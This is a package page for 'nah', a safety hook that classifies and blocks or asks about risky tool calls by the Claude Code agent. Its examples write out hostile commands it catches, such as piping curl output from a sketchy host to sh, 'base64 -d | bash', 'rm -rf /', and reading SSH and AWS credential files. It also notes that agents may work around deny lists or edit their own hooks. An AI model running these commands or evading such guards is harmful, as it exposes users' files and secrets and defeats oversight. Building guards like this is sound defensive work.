Skip to main content

Context-aware safety guard for Claude Code.

Project description

nah

Context aware safety guard for Claude Code.
Because allow and deny isn't enough.

DocsInstallWhat it guardsHow it worksConfigureCLI


The problem

Claude Code’s permission system is allow-or-deny per tool, but that doesn’t really scale. Deleting some files is fine sometimes. And git checkout is sometimes catastrophic. Even when you curate permissions, 200 IQ Opus can find a way around it. Maintaining a deny list is a fool’s errand.

We needed something like --dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.

nah classifies every guarded tool call by what it actually does using contextual rules that run in milliseconds. For the ambiguous stuff, optionally route to an LLM. Every decision is logged and inspectable. Works out of the box, configure it how you want it.

git push — Sure.
git push --forcenah?

rm -rf __pycache__ — Ok, cleaning up.
rm ~/.bashrcnah.

Read ./src/app.py — Go ahead.
Read ~/.ssh/id_rsanah.

Write ./config.yaml — Fine.
Write ~/.bashrc with curl sketchy.com | shnah.

Install

Claude Code plugin

Recommended for Claude Code:

claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user

Plugin mode is opt-in and managed by Claude Code's plugin manager. When the plugin is enabled, normal claude sessions load nah automatically without nah install or nah claude.

If you already installed direct hooks, run nah uninstall before enabling the plugin so both paths do not fire. The plugin bundles nah's stdlib-only runtime; it does not install PyYAML or the nah shell command. Use the PyPI install below when you want CLI commands such as nah test, nah allow, nah deny, or direct-hook mode.

Rollback path:

claude plugin uninstall nah@nah
nah install             # optional: return to direct hooks if the CLI is installed

PyPI CLI install

pip install nah
nah claude              # try it — hooks active for this session only

pip install nah keeps the core hook/classifier stdlib-only: no runtime dependencies beyond Python itself. This is intentional for users who want a small supply-chain surface on a security tool.

For YAML config files and config-writing commands such as nah allow, nah deny, nah classify, and nah trust, install the config extra:

pip install "nah[config]"          # adds PyYAML for config management

If you installed nah with pipx, keep the core install and inject PyYAML only when you want config management:

pipx inject nah pyyaml

For permanent use:

nah install             # hooks in ~/.claude/settings.json, every session

nah claude passes hooks inline via --settings, scoped to that process. nah install writes to settings.json so every claude session runs through nah. Undo with nah uninstall.

Don't use --dangerously-skip-permissions — just run claude in default mode. In --dangerously-skip-permissions mode, hooks fire asynchronously and commands execute before nah can block them.

By default nah actively allows safe operations for all guarded tools. To keep nah's protection on some tools but let others fall back to Claude Code's built-in prompts, set active_allow to a list:

# ~/.config/nah/config.yaml

# Only actively allow these tools (write-like tools fall back to Claude Code's prompts)
active_allow: [Bash, Read, Glob, Grep]

# Or disable active allow entirely
active_allow: false

Valid tool names: Bash, Read, Write, Edit, MultiEdit, NotebookEdit, Glob, Grep, and exact mcp__... tool names. See configuration docs.

To uninstall: nah uninstall && pip uninstall nah.

Try it out

Clone the repo and run the security demo inside Claude Code:

git clone https://github.com/manuelschipper/nah.git
cd nah
# inside Claude Code:
/nah-demo

25 live cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

What it guards

nah is a PreToolUse hook that intercepts guarded tool calls before they execute:

Tool What nah checks
Bash Structural command classification — action type, pipe composition, shell unwrapping
Read Sensitive path detection (~/.ssh, ~/.aws, .env, ...)
Write Path check + project boundary + content inspection (secrets, exfiltration, destructive payloads)
Edit Path check + project boundary + content inspection on the replacement string
MultiEdit Same path, boundary, content, and LLM review checks as Edit across all replacements
NotebookEdit Same path, boundary, content, and LLM review checks for notebook cell source
Glob Guards directory scanning of sensitive locations
Grep Catches credential search patterns outside the project
MCP tools Generic classification for third-party tool servers (mcp__*), with bundled coverage for known servers

How it works

Every guarded tool call hits a deterministic structural classifier first, no LLMs involved.

Claude: Edit → ~/.claude/hooks/nah_guard.py
  nah. Edit targets hook directory: ~/.claude/hooks/ (self-modification blocked)

Claude: Read → ~/.aws/credentials
  nah? Read targets sensitive path: ~/.aws (requires confirmation)

Claude: Bash → npm test
  ✓ allowed (package_run)

Claude: Write → config.py containing "-----BEGIN PRIVATE KEY-----"
  nah? Write content inspection [secret]: private key

nah. = blocked. nah? = asks for your confirmation. Everything else goes through.

Context-aware

The same command gets different decisions based on context:

Command Context Decision
rm dist/bundle.js Inside project Allow
rm ~/.bashrc Outside project Ask
git push --force History rewrite Ask
base64 -d | bash Decode + exec pipe Block

Optional LLM layer

For decisions that need judgment, nah can optionally consult an LLM:

Tool call → nah (deterministic) → LLM (optional) → Claude Code permissions → execute

The deterministic layer always runs first. The LLM can refine eligible ask decisions, and it can review write-like edits for safety and intent. For Write/Edit/MultiEdit/NotebookEdit, it can relax a project-boundary ask when the edit is safe and clearly intended, or escalate a risky deterministic allow to ask. It cannot relax deterministic blocks. If no LLM is configured or available, the deterministic decision stands.

Supported providers: Ollama, OpenRouter, OpenAI, Azure OpenAI, Anthropic, Snowflake Cortex.

Configure

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (per-project, tighten-only by default)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: ask                 # always confirm script/runtime execution

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your custom commands
classify:
  filesystem_delete:
    - cleanup-staging
  db_write:
    - migrate-prod

Classify entries accept a trailing * wildcard on the last token. Useful for covering an entire MCP server in one line:

actions:
  mcp_github: allow          # custom action type with allow policy
  mcp_danger: block
classify:
  mcp_github:
    - mcp__github*           # every tool under the github MCP server
  mcp_danger:
    - mcp__github__delete_repo   # exact entry beats the wildcard above

Wildcards are literal — you don't need to escape them for YAML because mcp__github* doesn't start with * (YAML aliases only trigger on leading *). Exact entries always win over wildcard entries at equal prefix length, so a specific override still beats a server-wide rule.

nah classifies commands by action type, not by command name. Run nah types to see all 40 built-in action types with their default policies.

Action types

Every command maps to an action type, and every action type has a default policy:

Policy Meaning Example types
allow Always permit filesystem_read, git_safe, package_run
context Check path/project context, then decide filesystem_write, filesystem_delete, network_outbound, lang_exec
ask Always prompt the user git_history_rewrite, git_remote_write, process_signal
block Always reject obfuscated

context is not the same as allow. For lang_exec, nah checks script path, project boundary, and inspectable inline or file content before deciding.

See the action types documentation for the full default-policy table.

Taxonomy profiles

Choose how much built-in classification to start with:

# ~/.config/nah/config.yaml
profile: full      # full | minimal | none
  • full (default) — comprehensive coverage across shell, git, packages, containers, and more
  • minimal — curated essentials only (rm, git, curl, kill, ...)
  • none — blank slate — make your own

LLM configuration

# ~/.config/nah/config.yaml
llm:
  mode: on
  eligible: default              # strict | default | all, or an explicit list
  providers: [openrouter]        # cascade order
  openrouter:
    url: https://openrouter.ai/api/v1/chat/completions
    key_env: OPENROUTER_API_KEY
    model: google/gemini-3.1-flash-lite-preview

Supply-chain safety

Project .nah.yaml can add classifications and tighten policies, but cannot relax them by default. A malicious repo can't use .nah.yaml to allowlist dangerous commands unless you explicitly opt in from your global config with trust_project_config: true.

CLI

Core

nah install                # install hook
nah uninstall              # clean removal
nah update                 # update hook after pip upgrade
nah config show            # show effective merged config
nah config path            # show config file locations

Test & inspect

nah test "rm -rf /"              # dry-run Bash classification
nah test --tool Read ~/.ssh/id_rsa   # test any tool, not just Bash
nah test --tool Write ./out.txt      # test Write with content inspection
nah types                        # list all action types with default policies
nah log                          # show recent hook decisions
nah log --blocks                 # show only blocked decisions
nah log --asks                   # show only ask decisions
nah log --tool Bash -n 20        # filter by tool, limit entries
nah log --json                   # machine-readable output
/nah-demo                        # live security demo inside Claude Code

Manage rules

Adjust policies from the command line:

nah allow filesystem_delete      # allow an action type
nah deny network_outbound        # block an action type
nah classify "docker rm" container_destructive  # teach nah a command
nah trust api.example.com        # trust a network host
nah allow-path ~/sensitive/dir   # exempt a path for this project
nah status                       # show all custom rules
nah forget filesystem_delete     # remove a rule

License

MIT


--dangerously-skip-permissions?

nah

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

nah-0.7.1.tar.gz (145.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

nah-0.7.1-py3-none-any.whl (146.5 kB view details)

Uploaded Python 3

File details

Details for the file nah-0.7.1.tar.gz.

File metadata

  • Download URL: nah-0.7.1.tar.gz
  • Upload date:
  • Size: 145.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for nah-0.7.1.tar.gz
Algorithm Hash digest
SHA256 fc7c94917a08aabe22d0bb9b632057955ef374b3cf10d88ad5a6b13930415cbe
MD5 dc2cab0ba6a6b8cbcb4e6f1bce3ea756
BLAKE2b-256 e7ebc81b4abeb374e20f4b46427bb6d399df490b6a6973722389669ac300e33f

See more details on using hashes here.

Provenance

The following attestation bundles were made for nah-0.7.1.tar.gz:

Publisher: publish.yml on manuelschipper/nah

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file nah-0.7.1-py3-none-any.whl.

File metadata

  • Download URL: nah-0.7.1-py3-none-any.whl
  • Upload date:
  • Size: 146.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for nah-0.7.1-py3-none-any.whl
Algorithm Hash digest
SHA256 3fe062010a28e23ca941aee8311677a7c80745379af881a4f901db6aa68d4d20
MD5 844ce723f355129c7732f75384899642
BLAKE2b-256 57547f88a0ea1bb1bb83d08db0472351036690f31d2b0ac55a0f8c2b74d7c4ea

See more details on using hashes here.

Provenance

The following attestation bundles were made for nah-0.7.1-py3-none-any.whl:

Publisher: publish.yml on manuelschipper/nah

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page